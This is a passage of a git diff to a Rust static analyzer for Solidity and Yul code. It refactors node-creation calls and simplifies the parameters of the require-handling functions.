self.add_node(Node::ContextVar(new_lhs_underlying)); + let input_node = self.add_node(new_lhs_underlying); ctx.add_var(input_node.into(), self).into_expr_err(loc)?; self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(input_node)) diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 861810db..76dc84fd 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -72,7 +72,7 @@ pub trait Literal: AnalyzerBackend + Sized { unit: Option<&str>, ) -> Result<(), ExprErr> { let conc = self.concrete_number_from_str(loc, integer, exponent, negative, unit)?; - let concrete_node = ConcreteNode::from(self.add_node(Node::Concrete(conc))); + let concrete_node = ConcreteNode::from(self.add_node(conc)); let ccvar = Node::ContextVar( ContextVar::new_from_concrete(loc, ctx, concrete_node, self).into_expr_err(loc)?, ); @@ -167,7 +167,7 @@ pub trait Literal: AnalyzerBackend + Sized { .val .fit_size(); - ConcreteNode::from(self.add_node(Node::Concrete(evaled))) + ConcreteNode::from(self.add_node(evaled)) } else { let evaled = rational_range .maximize(self, arena) @@ -176,7 +176,7 @@ pub trait Literal: AnalyzerBackend + Sized { .unwrap() .val .fit_size(); - ConcreteNode::from(self.add_node(Node::Concrete(evaled))) + ConcreteNode::from(self.add_node(evaled)) }; let ccvar = Node::ContextVar( @@ -212,9 +212,9 @@ pub trait Literal: AnalyzerBackend + Sized { )); } let val = I256::from(-1i32) * raw; - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Int(size, val)))) + ConcreteNode::from(self.add_node(Concrete::Int(size, val))) } else { - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Uint(size, val)))) + ConcreteNode::from(self.add_node(Concrete::Uint(size, val))) }; let ccvar = Node::ContextVar( @@ -244,9 +244,9 @@ pub trait Literal: AnalyzerBackend + Sized { } target.0[i] = *hex_byte; }); - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Bytes(max, target)))) + ConcreteNode::from(self.add_node(Concrete::Bytes(max, target))) } else { - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::DynBytes(h)))) + ConcreteNode::from(self.add_node(Concrete::DynBytes(h))) }; let ccvar = Node::ContextVar( @@ -263,8 +263,7 @@ pub trait Literal: AnalyzerBackend + Sized { fn address_literal(&mut self, ctx: ContextNode, loc: Loc, addr: &str) -> Result<(), ExprErr> { let addr = Address::from_str(addr).map_err(|e| ExprErr::ParseError(loc, e.to_string()))?; - let concrete_node = - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Address(addr)))); + let concrete_node = ConcreteNode::from(self.add_node(Concrete::Address(addr))); let ccvar = Node::ContextVar( ContextVar::new_from_concrete(loc, ctx, concrete_node, self).into_expr_err(loc)?, ); @@ -341,8 +340,7 @@ pub trait Literal: AnalyzerBackend + Sized { } fn string_literal(&mut self, ctx: ContextNode, loc: Loc, s: &str) -> Result<(), ExprErr> { - let concrete_node = - ConcreteNode::from(self.add_node(Node::Concrete(Concrete::String(s.to_string())))); + let concrete_node = ConcreteNode::from(self.add_node(Concrete::String(s.to_string()))); let ccvar = Node::ContextVar( ContextVar::new_from_concrete(loc, ctx, concrete_node, self).into_expr_err(loc)?, ); @@ -355,7 +353,7 @@ pub trait Literal: AnalyzerBackend + Sized { } fn bool_literal(&mut self, ctx: ContextNode, loc: Loc, b: bool) -> Result<(), ExprErr> { - let concrete_node = ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Bool(b)))); + let concrete_node = ConcreteNode::from(self.add_node(Concrete::Bool(b))); let ccvar = Node::ContextVar( ContextVar::new_from_concrete(loc, ctx, concrete_node, self).into_expr_err(loc)?, ); diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 24f020fa..2f767cac 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -51,7 +51,7 @@ pub trait BuiltinAccess: let bn = self.builtin_or_add(Builtin::DynamicBytes); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) .into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) @@ -61,7 +61,7 @@ pub trait BuiltinAccess: let bn = self.builtin_or_add(Builtin::Bytes(32)); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) .into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) @@ -71,7 +71,7 @@ pub trait BuiltinAccess: let bn = self.builtin_or_add(Builtin::Uint(256)); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) .into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) @@ -80,7 +80,7 @@ pub trait BuiltinAccess: let bn = self.builtin_or_add(Builtin::Bool); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) .into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(node)) @@ -209,14 +209,14 @@ pub trait BuiltinAccess: match &*ident.name { "max" => { let c = Concrete::Int(size, max); - let node = self.add_node(Node::Concrete(c)).into(); + let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; var.name = format!("int{size}.max"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) @@ -224,14 +224,14 @@ pub trait BuiltinAccess: "min" => { let min = max * I256::from(-1i32) - I256::from(1i32); let c = Concrete::Int(size, min); - let node = self.add_node(Node::Concrete(c)).into(); + let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; var.name = format!("int{size}.min"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) @@ -253,14 +253,14 @@ pub trait BuiltinAccess: U256::from(2).pow(U256::from(size)) - 1 }; let c = Concrete::Uint(size, max); - let node = self.add_node(Node::Concrete(c)).into(); + let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; var.name = format!("uint{size}.max"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) @@ -268,14 +268,14 @@ pub trait BuiltinAccess: "min" => { let min = U256::zero(); let c = Concrete::from(min); - let node = self.add_node(Node::Concrete(c)).into(); + let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; var.name = format!("uint{size}.min"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) diff --git a/crates/solc-expressions/src/member_access/contract_access.rs b/crates/solc-expressions/src/member_access/contract_access.rs index 963610b8..a8183d66 100644 --- a/crates/solc-expressions/src/member_access/contract_access.rs +++ b/crates/solc-expressions/src/member_access/contract_access.rs @@ -35,7 +35,7 @@ pub trait ContractAccess: AnalyzerBackend .find(|func_node| func_node.name(self).unwrap() == ident.name) { if let Some(func_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { - let fn_node = self.add_node(Node::ContextVar(func_cvar)); + let fn_node = self.add_node(func_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph if maybe_parent.is_some() { self.add_edge(fn_node, member_idx, Edge::Context(ContextEdge::FuncAccess)); @@ -57,7 +57,7 @@ pub trait ContractAccess: AnalyzerBackend .find(|struct_node| struct_node.name(self).unwrap() == ident.name) { if let Some(struct_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { - let struct_node = self.add_node(Node::ContextVar(struct_cvar)); + let struct_node = self.add_node(struct_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph if maybe_parent.is_some() { self.add_edge( @@ -81,10 +81,10 @@ pub trait ContractAccess: AnalyzerBackend match &*ident.name { "name" => { let c = Concrete::from(con_node.name(self).unwrap()); - let cnode = self.add_node(Node::Concrete(c)); + let cnode = self.add_node(c); let cvar = ContextVar::new_from_concrete(loc, ctx, cnode.into(), self) .into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(node)); @@ -93,7 +93,7 @@ pub trait ContractAccess: AnalyzerBackend let bn = self.builtin_or_add(Builtin::DynamicBytes); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(node)); @@ -103,7 +103,7 @@ pub trait ContractAccess: AnalyzerBackend let bn = self.builtin_or_add(Builtin::Bytes(4)); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(node)); @@ -120,7 +120,7 @@ pub trait ContractAccess: AnalyzerBackend if let Some(func_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { - let fn_node = self.add_node(Node::ContextVar(func_cvar)); + let fn_node = self.add_node(func_cvar); // this prevents attaching a dummy node to the parent which could cause a cycle in the graph if maybe_parent.is_some() { self.add_edge( diff --git a/crates/solc-expressions/src/member_access/enum_access.rs b/crates/solc-expressions/src/member_access/enum_access.rs index cad05663..bdc42cfc 100644 --- a/crates/solc-expressions/src/member_access/enum_access.rs +++ b/crates/solc-expressions/src/member_access/enum_access.rs @@ -37,7 +37,7 @@ pub trait EnumAccess: let var = ContextVar::new_from_enum_variant(self, ctx, loc, enum_node, variant.to_string()) .into_expr_err(loc)?; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) diff --git a/crates/solc-expressions/src/member_access/list_access.rs b/crates/solc-expressions/src/member_access/list_access.rs index e8dd77ba..7e9f6acd 100644 --- a/crates/solc-expressions/src/member_access/list_access.rs +++ b/crates/solc-expressions/src/member_access/list_access.rs @@ -130,7 +130,7 @@ pub trait ListAccess: AnalyzerBackend + Si Some(range), ), }; - let len_node = ContextVarNode::from(self.add_node(Node::ContextVar(len_var))); + let len_node = ContextVarNode::from(self.add_node(len_var)); self.add_edge( len_node, target_array, @@ -203,7 +203,7 @@ pub trait ListAccess: AnalyzerBackend + Si range, ), }; - let len_node = self.add_node(Node::ContextVar(len_var)); + let len_node = self.add_node(len_var); let next_arr = self .advance_var_in_ctx( diff --git a/crates/solc-expressions/src/member_access/member_trait.rs b/crates/solc-expressions/src/member_access/member_trait.rs index 6c6967b8..23c6f535 100644 --- a/crates/solc-expressions/src/member_access/member_trait.rs +++ b/crates/solc-expressions/src/member_access/member_trait.rs @@ -325,7 +325,7 @@ pub trait MemberAccess: let selector_node = ConcreteNode::from(self.add_node(selector_conc)); let var = ContextVar::new_from_concrete(loc, ctx, selector_node, self) .into_expr_err(loc)?; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); Ok(ExprRet::Single(cvar)) } _ => Err(ExprErr::MemberAccessNotFound( diff --git a/crates/solc-expressions/src/member_access/struct_access.rs b/crates/solc-expressions/src/member_access/struct_access.rs index f0187d01..82b57af2 100644 --- a/crates/solc-expressions/src/member_access/struct_access.rs +++ b/crates/solc-expressions/src/member_access/struct_access.rs @@ -56,7 +56,7 @@ pub trait StructAccess: &cvar, field.underlying(self).unwrap().clone(), ) { - let fc_node = self.add_node(Node::ContextVar(field_cvar)); + let fc_node = self.add_node(field_cvar); self.add_edge( fc_node, ContextVarNode::from(member_idx).first_version(self), diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index f8117774..55e971f0 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -96,8 +96,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), ) }) }) @@ -139,8 +137,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Neq, - RangeOp::Neq, - (RangeOp::Eq, RangeOp::Neq), ) }) }) @@ -183,8 +179,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Lt, - RangeOp::Gt, - (RangeOp::Gt, RangeOp::Lt), ) }) }) @@ -227,8 +221,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Gt, - RangeOp::Lt, - (RangeOp::Lt, RangeOp::Gt), ) }) }) @@ -271,8 +263,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Gte, - RangeOp::Lte, - (RangeOp::Lte, RangeOp::Gte), ) }) }) @@ -315,8 +305,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths.flatten(), &rhs_paths, RangeOp::Lte, - RangeOp::Gte, - (RangeOp::Gte, RangeOp::Lte), ) }) }) @@ -351,8 +339,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths, &rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), ) }) } @@ -417,8 +403,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &ExprRet::Single(tmp.lhs.into()), &ExprRet::Single(tmp.rhs.unwrap().into()), op, - op, - pair, )?; } } @@ -436,8 +420,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &ExprRet::Single(tmp.lhs.into()), &ExprRet::Single(tmp.rhs.unwrap().into()), op, - op, - pair, )?; } } @@ -449,8 +431,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths, &tmp_rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), )?; analyzer.handle_require_inner( @@ -460,8 +440,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &rhs_paths, &tmp_rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), )?; Ok(()) @@ -570,8 +548,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &ExprRet::Single(or_var.into()), &rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), ) }) }) @@ -600,8 +576,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { &lhs_paths, &rhs_paths, RangeOp::Eq, - RangeOp::Eq, - (RangeOp::Neq, RangeOp::Eq), ) }) } @@ -617,8 +591,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { lhs_paths: &ExprRet, rhs_paths: &ExprRet, op: RangeOp, - rhs_op: RangeOp, - recursion_ops: (RangeOp, RangeOp), ) -> Result<(), ExprErr> { match (lhs_paths, rhs_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), @@ -627,31 +599,13 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ContextVarNode::from(*lhs) .cast_from(&ContextVarNode::from(*rhs), self, arena) .into_expr_err(loc)?; - self.handle_require_inner( - arena, - ctx, - loc, - &ExprRet::Single(*lhs), - rhs_paths, - op, - rhs_op, - recursion_ops, - ) + self.handle_require_inner(arena, ctx, loc, &ExprRet::Single(*lhs), rhs_paths, op) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { ContextVarNode::from(*rhs) .cast_from(&ContextVarNode::from(*lhs), self, arena) .into_expr_err(loc)?; - self.handle_require_inner( - arena, - ctx, - loc, - lhs_paths, - &ExprRet::Single(*rhs), - op, - rhs_op, - recursion_ops, - ) + self.handle_require_inner(arena, ctx, loc, lhs_paths, &ExprRet::Single(*rhs), op) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { let lhs_cvar = @@ -661,35 +615,17 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ContextVarNode::from(*rhs).latest_version_or_inherited_in_ctx(ctx, self); let new_rhs = self.advance_var_in_ctx(rhs_cvar, loc, ctx)?; - self.require(arena, new_lhs, new_rhs, ctx, loc, op, rhs_op, recursion_ops)?; + self.require(arena, new_lhs, new_rhs, ctx, loc, op)?; Ok(()) } (l @ ExprRet::Single(_) | l @ ExprRet::SingleLiteral(_), ExprRet::Multi(rhs_sides)) => { rhs_sides.iter().try_for_each(|expr_ret| { - self.handle_require_inner( - arena, - ctx, - loc, - l, - expr_ret, - op, - rhs_op, - recursion_ops, - ) + self.handle_require_inner(arena, ctx, loc, l, expr_ret, op) }) } (ExprRet::Multi(lhs_sides), r @ ExprRet::Single(_) | r @ ExprRet::SingleLiteral(_)) => { lhs_sides.iter().try_for_each(|expr_ret| { - self.handle_require_inner( - arena, - ctx, - loc, - expr_ret, - r, - op, - rhs_op, - recursion_ops, - ) + self.handle_require_inner(arena, ctx, loc, expr_ret, r, op) }) } (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => { @@ -704,23 +640,12 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { lhs_expr_ret, rhs_expr_ret, op, - rhs_op, - recursion_ops, ) }, ) } else { rhs_sides.iter().try_for_each(|rhs_expr_ret| { - self.handle_require_inner( - arena, - ctx, - loc, - lhs_paths, - rhs_expr_ret, - op, - rhs_op, - recursion_ops, - ) + self.handle_require_inner(arena, ctx, loc, lhs_paths, rhs_expr_ret, op) }) } } @@ -743,8 +668,6 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ctx: ContextNode, loc: Loc, op: RangeOp, - rhs_op: RangeOp, - _recursion_ops: (RangeOp, RangeOp), ) -> Result, ExprErr> { tracing::trace!( "require: {} {} {}", @@ -755,6 +678,8 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { let mut any_unsat = false; let mut tmp_cvar = None; + let rhs_op = op.require_rhs().unwrap(); + if let Some(lhs_range) = new_lhs .latest_version_or_inherited_in_ctx(ctx, self) .range(self) @@ -866,12 +791,11 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ), }; - let conditional_cvar = - ContextVarNode::from(self.add_node(Node::ContextVar(conditional_var))); + let conditional_cvar = ContextVarNode::from(self.add_node(conditional_var)); ctx.add_var(conditional_cvar, self).into_expr_err(loc)?; self.add_edge(conditional_cvar, ctx, Edge::Context(ContextEdge::Variable)); - let cnode = ConcreteNode::from(self.add_node(Node::Concrete(Concrete::Bool(true)))); + let cnode = ConcreteNode::from(self.add_node(Concrete::Bool(true))); let tmp_true = Node::ContextVar( ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) .into_expr_err(loc)?, @@ -922,7 +846,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { ), }; - let cvar = ContextVarNode::from(self.add_node(Node::ContextVar(tmp_var))); + let cvar = ContextVarNode::from(self.add_node(tmp_var)); ctx.add_var(cvar, self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); @@ -1574,13 +1498,11 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { let (needs_inverse, adjusted_gt_rhs) = match tmp_construction.op { RangeOp::Sub(..) => { let concrete = ConcreteNode( - self.add_node(Node::Concrete(Concrete::Int(256, I256::from(-1i32)))) - .index(), + self.add_node(Concrete::Int(256, I256::from(-1i32))).index(), ); let lhs_cvar = ContextVar::new_from_concrete(loc, ctx, concrete, self) .into_expr_err(loc)?; - let tmp_lhs = - ContextVarNode::from(self.add_node(Node::ContextVar(lhs_cvar))); + let tmp_lhs = ContextVarNode::from(self.add_node(lhs_cvar)); // tmp_rhs = rhs_cvar * -1 let tmp_rhs = self.op( diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index a121792e..8d2a18b0 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -141,7 +141,7 @@ pub trait Variable: AnalyzerBackend + Size } }; - let new_cvarnode = self.add_node(Node::ContextVar(var)); + let new_cvarnode = self.add_node(var); ctx.add_var(new_cvarnode.into(), self) .into_expr_err(ident.loc)?; @@ -357,7 +357,7 @@ pub trait Variable: AnalyzerBackend + Size is_return: false, ty, }; - let lhs = ContextVarNode::from(self.add_node(Node::ContextVar(var))); + let lhs = ContextVarNode::from(self.add_node(var)); ctx.add_var(lhs, self).into_expr_err(loc)?; self.add_edge(lhs, ctx, Edge::Context(ContextEdge::Variable)); @@ -392,7 +392,7 @@ pub trait Variable: AnalyzerBackend + Size is_return: false, ty, }; - let lhs = ContextVarNode::from(self.add_node(Node::ContextVar(var))); + let lhs = ContextVarNode::from(self.add_node(var)); ctx.add_var(lhs, self).into_expr_err(loc)?; self.add_edge(lhs, ctx, Edge::Context(ContextEdge::Variable)); if let Some(strukt) = maybe_struct { @@ -556,7 +556,7 @@ pub trait Variable: AnalyzerBackend + Size } new_cvar.loc = Some(loc); - new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + new_cvarnode = self.add_node(new_cvar); if old_ctx != ctx { tracing::trace!( "moving var {} into new context: from {} to {}", @@ -581,8 +581,7 @@ pub trait Variable: AnalyzerBackend + Size .collect::>(); while let Some((field, parent)) = struct_stack.pop() { let underlying = field.underlying(self).into_expr_err(loc)?; - let new_field_in_inheritor = - self.add_node(Node::ContextVar(underlying.clone())); + let new_field_in_inheritor = self.add_node(underlying.clone()); self.add_edge( new_field_in_inheritor, parent, @@ -602,7 +601,7 @@ pub trait Variable: AnalyzerBackend + Size } } else { new_cvar.loc = Some(loc); - new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + new_cvarnode = self.add_node(new_cvar); self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); } } @@ -653,7 +652,7 @@ pub trait Variable: AnalyzerBackend + Size new_cvar.loc = Some(loc); // new_cvar.display_name = format!("{}_{}", new_cvar.name, cvar_node.prev_versions(self)); - new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + new_cvarnode = self.add_node(new_cvar); if old_ctx != ctx { tracing::trace!( "moving var {} into new context: from {} to {}", @@ -678,8 +677,7 @@ pub trait Variable: AnalyzerBackend + Size .collect::>(); while let Some((field, parent)) = struct_stack.pop() { let underlying = field.underlying(self).into_expr_err(loc)?; - let new_field_in_inheritor = - self.add_node(Node::ContextVar(underlying.clone())); + let new_field_in_inheritor = self.add_node(underlying.clone()); self.add_edge( new_field_in_inheritor, parent, @@ -699,7 +697,7 @@ pub trait Variable: AnalyzerBackend + Size } } else { new_cvar.loc = Some(loc); - new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + new_cvarnode = self.add_node(new_cvar); self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); } } @@ -732,7 +730,7 @@ pub trait Variable: AnalyzerBackend + Size .clone(); new_cvar.loc = Some(loc); - let new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + let new_cvarnode = self.add_node(new_cvar); self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); Ok(ContextVarNode::from(new_cvarnode)) @@ -747,7 +745,7 @@ pub trait Variable: AnalyzerBackend + Size .unwrap() .clone(); new_cvar.loc = Some(loc); - let new_cvarnode = self.add_node(Node::ContextVar(new_cvar)); + let new_cvarnode = self.add_node(new_cvar); self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); ContextVarNode::from(new_cvarnode) .underlying_mut(self) diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index 4ad6c60f..b85b7e81 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -456,7 +456,7 @@ pub trait YulBuilder: SolcRange::try_from_builtin(&Builtin::Uint(256)), ), }; - let slot_node = self.add_node(Node::ContextVar(slot_var)); + let slot_node = self.add_node(slot_var); self.add_edge(slot_node, lhs, Edge::Context(ContextEdge::SlotAccess)); self.add_edge(slot_node, ctx, Edge::Context(ContextEdge::Variable)); diff --git a/crates/solc-expressions/src/yul/yul_cond_op.rs b/crates/solc-expressions/src/yul/yul_cond_op.rs index 4e6e5b12..47a28cc8 100644 --- a/crates/solc-expressions/src/yul/yul_cond_op.rs +++ b/crates/solc-expressions/src/yul/yul_cond_op.rs @@ -206,9 +206,7 @@ pub trait YulCondOp: match true_cvars { ExprRet::CtxKilled(kind) => ctx.kill(self, loc, *kind).into_expr_err(loc)?, ExprRet::Single(_true_cvar) | ExprRet::SingleLiteral(_true_cvar) => { - let cnode = ConcreteNode::from( - self.add_node(Node::Concrete(Concrete::Uint(1, U256::from(0)))), - ); + let cnode = ConcreteNode::from(self.add_node(Concrete::Uint(1, U256::from(0)))); let tmp_true = Node::ContextVar( ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) .into_expr_err(loc)?, @@ -216,16 +214,7 @@ pub trait YulCondOp: let rhs_paths = ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - self.handle_require_inner( - arena, - ctx, - loc, - true_cvars, - &rhs_paths, - RangeOp::Gt, - RangeOp::Lt, - (RangeOp::Lt, RangeOp::Gt), - )?; + self.handle_require_inner(arena, ctx, loc, true_cvars, &rhs_paths, RangeOp::Gt)?; } ExprRet::Multi(ref true_paths) => { // TODO: validate this @@ -251,9 +240,7 @@ pub trait YulCondOp: match false_cvars { ExprRet::CtxKilled(kind) => ctx.kill(self, loc, *kind).into_expr_err(loc)?, ExprRet::Single(_false_cvar) | ExprRet::SingleLiteral(_false_cvar) => { - let cnode = ConcreteNode::from( - self.add_node(Node::Concrete(Concrete::Uint(1, U256::from(0)))), - ); + let cnode = ConcreteNode::from(self.add_node(Concrete::Uint(1, U256::from(0)))); let tmp_true = Node::ContextVar( ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, self) .into_expr_err(loc)?, @@ -261,16 +248,7 @@ pub trait YulCondOp: let rhs_paths = ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - self.handle_require_inner( - arena, - ctx, - loc, - false_cvars, - &rhs_paths, - RangeOp::Eq, - RangeOp::Neq, - (RangeOp::Neq, RangeOp::Eq), - )?; + self.handle_require_inner(arena, ctx, loc, false_cvars, &rhs_paths, RangeOp::Eq)?; } ExprRet::Multi(ref false_paths) => { // TODO: validate this diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 1da6b7de..82f2a4f4 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -314,7 +314,7 @@ pub trait YulFuncCaller: let b = Builtin::Uint(256); let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -324,7 +324,7 @@ pub trait YulFuncCaller: let b = Builtin::Uint(256); let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -338,7 +338,7 @@ pub trait YulFuncCaller: let b = Builtin::Uint(256); let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -386,7 +386,7 